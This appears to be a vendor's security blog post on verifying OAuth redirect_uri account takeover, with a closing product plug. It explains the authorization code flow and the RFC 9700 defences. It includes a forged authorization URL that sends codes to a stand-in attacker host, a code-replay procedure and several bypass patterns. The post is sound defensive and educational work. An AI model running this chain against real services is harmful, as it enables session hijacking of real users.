A 302 is not proof: verifying an OAuth redirect_uri account takeover
A loosely-matched redirect_uri or an open redirect on a login host is easy to find, and a 302 bouncing the OAuth flow to your server looks dramatic — but on its own it proves almost nothing. A practitioner's guide to telling a cosmetic redirect apart from real authorization-code theft, proving an OAuth account takeover with a controlled two-account test that never touches a real user's code, and the exact-matching, PKCE and open-redirector defenses that close it — grounded in RFC 9700, the OAuth 2.0 Security Best Current Practice.
By The Xalgorix Team
An OAuth redirect bug is one of the more satisfying things to stumble on. You find a login that federates through “Sign in with…”, you tamper with the redirect_uri in the authorization request, and the provider happily bounces the whole flow to a domain you control. A 302 to your server, in your proxy history, feels like a finding. It usually is not — or at least, not the finding people report. A redirect landing on your host shows a parameter was reflected. It does not show that an authorization code was ever issued, that it belonged to anyone but you, or that it could be exchanged for a session. The distance between “the login bounced to my server” and “I can take over another user's account” is the entire bug, and it is where most OAuth reports quietly fall apart in triage.
How a URL becomes a session
The authorization code flow exists to move a credential from an identity provider to an application without putting it in the browser's address bar for long. The client sends the user to the authorization server's /authorize endpoint with a client_id, a redirect_uri, response_type=code, a scope, a state value and — on any current implementation — a PKCE code_challenge. The server authenticates the user, and if they already have a session it does this silently, then issues a short-lived authorization code and redirects the browser back to the redirect_uri with that code attached. The client's back-end then posts the code to the token endpoint and receives the tokens that become a logged-in session.
Authorization request (browser -> authorization server):
GET /authorize?response_type=code
&client_id=app-prod
&redirect_uri=https://app.example.com/oauth/callback
&scope=openid%20profile
&state=9f1c... <- one-time CSRF token, echoed back
&code_challenge=BASE64URL(SHA256(verifier))
&code_challenge_method=S256 <- PKCE; omit this and it defaults to plain
Response (authorization server -> browser -> redirect_uri):
302 Location: https://app.example.com/oauth/callback?code=AUTHCODE&state=9f1c...
Token exchange (client back-end -> authorization server):
POST /token code=AUTHCODE redirect_uri=... code_verifier=...
-> access_token + id_token == a logged-in sessionThe important property is that the authorization server decides where to deliver that code purely from the redirect_uri in the request. Whoever controls where the code lands, and can then exchange it, controls the session. That is why this one parameter carries so much weight, and why the specification is unusually strict about how it must be validated.
Why redirect_uri is the soft spot
In January 2025 the IETF published RFC 9700, the OAuth 2.0 Security Best Current Practice, which consolidates a decade of attacks into normative rules. On redirect handling it is blunt: authorization servers “MUST utilize exact string matching except for port numbers in localhost redirection URIs of native apps” (§2.1), and in the countermeasures it repeats that “the authorization server MUST ensure that the two URIs are equal” (§4.1.3). Pattern matching — prefixes, wildcards, substring checks — is called out as “more error-prone to manage than exact redirection URI matching.”
Every real-world redirect_uri bug is a way exact matching was skipped or quietly relaxed. The common shapes:
- No validation at all — the server reflects whatever
redirect_uriyou send. This is the PortSwigger lab case and it still appears in the wild. - Prefix or substring matching —
https://app.example.comis allowed, sohttps://app.example.com.attacker.netorhttps://app.example.com/../../redirect?to=slips through a check that only looks at the start or asks “does it contain the host”. - Subdomain or path wildcards — a registration of
*.example.comor/callback/*turns any takeover of a forgotten subdomain, or any open redirect under an allowed path, into code exfiltration. - An open redirector on an allowed host — the
redirect_urimatches exactly, but the page it points to forwards the browser (and thecodein the query string, or via theRefererheader) onward to an attacker URL. RFC 9700 closes this explicitly: “Web servers on which redirection URIs are hosted MUST NOT expose open redirectors” (§4.1.3), and more broadly “Clients MUST NOT expose open redirectors” (§4.11.1).
A 302 to your server is not proof
Here is the discipline the series keeps coming back to. When your manipulated redirect_uri produces a redirect to your host, you have learned exactly one thing: the server used your value. Three very different situations produce that same 302, and only one of them is an account takeover.
Reporting the first two as account takeover is the classic over-claim. A redirect with no code is, at most, an open redirect — worth noting, low severity on its own. A code for your own account proves the delivery path is attacker-controllable but demonstrates no cross-user impact. The finding that gets fixed this sprint is the third: a code that was issued for someone else's authenticated session, captured at your endpoint, and exchanged into a session you now hold as them. Proving that — without ever touching a real user — is the actual work.
Proving it safely with two accounts you own
The confirmation mirrors the two-account differential used to verify object-level access control: you demonstrate cross-account impact using only identities you control, and you never exercise the exploit against a real user's browser or code. On a target you own or are explicitly authorised to test, register two accounts — a “victim” test account you will take over, and an attacker account whose exploit server you read the logs of.
Target: an app/tenant you own or are authorised to test.
Two accounts you control: victim-test@... and attacker@...
1. Forge the authorization URL, changing only redirect_uri:
/authorize?...&redirect_uri=https://attacker.oast.example/cb
If the server accepts it with no error, matching is not exact.
2. In victim-test's authenticated browser (a profile you own --
never a real user's), start the flow so a code is issued:
attacker.oast.example GET /cb?code=CODE_V&state=... <- in your log
3. Replay the code in a SEPARATE, clean attacker browser with no
victim-test cookies -- using the same profile just reuses the
session you already had, which proves nothing:
GET https://app.example.com/oauth/callback?code=CODE_V&state=...
Landing in victim-test's account from the clean browser is the proof.
If the callback rejects it for a missing state/code_verifier, that
binding is the defense working -- report the leak, not a takeover.
A 302 with no code, or a code bound to attacker's own account,
is not account takeover -- do not report it as one.The single most important check is step 3. A captured code is inert until it is exchanged; the demonstration is complete only when the replay yields a session belonging to the other account. If the token endpoint correctly binds the code to the original redirect_uri and rejects the mismatch, the chain breaks there — and that is a result worth reporting too, because it tells you the delivery path is loose but the exchange still holds. For a canonical, deliberately-vulnerable version to practise the whole chain against, PortSwigger's account hijacking via redirect_uri lab walks it end to end.
Fragments, implicit flows, and who issues the redirect
Two variations change the blast radius. If the application still uses the implicit grant (response_type=token), the access token itself is placed in the URL fragment of the redirect rather than a one-time code — there is no exchange step to bind, and a loose redirect_uri leaks a live token directly. RFC 9700 tells clients not to use the implicit grant for exactly this reason; authorization code with PKCE is the replacement. Separately, the authorization server must not become the open redirector itself: it “MUST NOT automatically redirect the user agent in case of an invalid combination of client_id and redirect_uri” (§4.11.2), because an error page that still forwards the browser hands an attacker the same primitive from the other side.
The defenses that hold
The fixes are well specified and they layer, so a slip in one does not open the whole chain.
- Exact-match the redirect_uri — register full, absolute URIs and compare by exact string, no prefixes, wildcards or substring tests (RFC 9700 §2.1, §4.1.3). This is the control that makes the forged URL in step 1 fail closed.
- Keep every registered redirect host clean — no open redirectors anywhere on a domain that hosts a
redirect_uri, and no forgotten wildcard subdomains, so an exact match cannot be laundered into an attacker destination. - Use PKCE for every client — RFC 9700 makes it mandatory for public clients and “RECOMMENDED” for confidential ones, because it “provides strong protection against misuse and injection of authorization codes” (§2.1.1). A stolen code is useless without the matching
code_verifier, and — crucially — client authentication alone does not stop code injection, since “the legitimate client authenticates at the token endpoint” (§4.5.2). - Bind the code at exchange — make authorization codes single-use and short-lived, and reject a token request whose
redirect_uridiffers from the one the code was issued for, as RFC 6749 already required. Usestate(or PKCE, per §4.7.1) for CSRF, not as a substitute for any of the above.
Proof, not a maybe
“Open redirect on the OAuth callback” is a ticket that gets triaged to the bottom of the queue, and sometimes it deserves to be there. “Here is an authorization code issued for a second account, captured at my endpoint, and replayed into a session as that account” is a ticket that gets fixed. The difference is not severity inflation; it is evidence. That is the whole premise of exploit-verified testing: a result should carry the demonstration, not an assertion that one is probably possible.
It is worth being honest about where automation struggles with this particular bug. An OAuth takeover is a multi-step, stateful, browser-driven chain — it needs a real authenticated session to produce a code worth stealing, and the highest-impact proof is exactly the step a responsible tool must not take against real users. A scanner can flag a reflected redirect_uri in seconds; confirming the code is issued, delivered off-domain and exchangeable is where Xalgorix works its methodology and stops at the boundary of what it can show safely. A tool worth trusting proves the chain between accounts it is allowed to drive, and reports a loose redirect_uri as a possibility — not a takeover — when it cannot ethically close the loop.
References
- RFC 9700 — Best Current Practice for OAuth 2.0 Security (IETF, January 2025)
- RFC 6749 — The OAuth 2.0 Authorization Framework
- RFC 7636 — Proof Key for Code Exchange (PKCE)
- PortSwigger Web Security Academy — OAuth 2.0 authentication vulnerabilities
- PortSwigger — Lab: OAuth account hijacking via redirect_uri
Ready to see it prove a bug?
Start scanning on Cloud →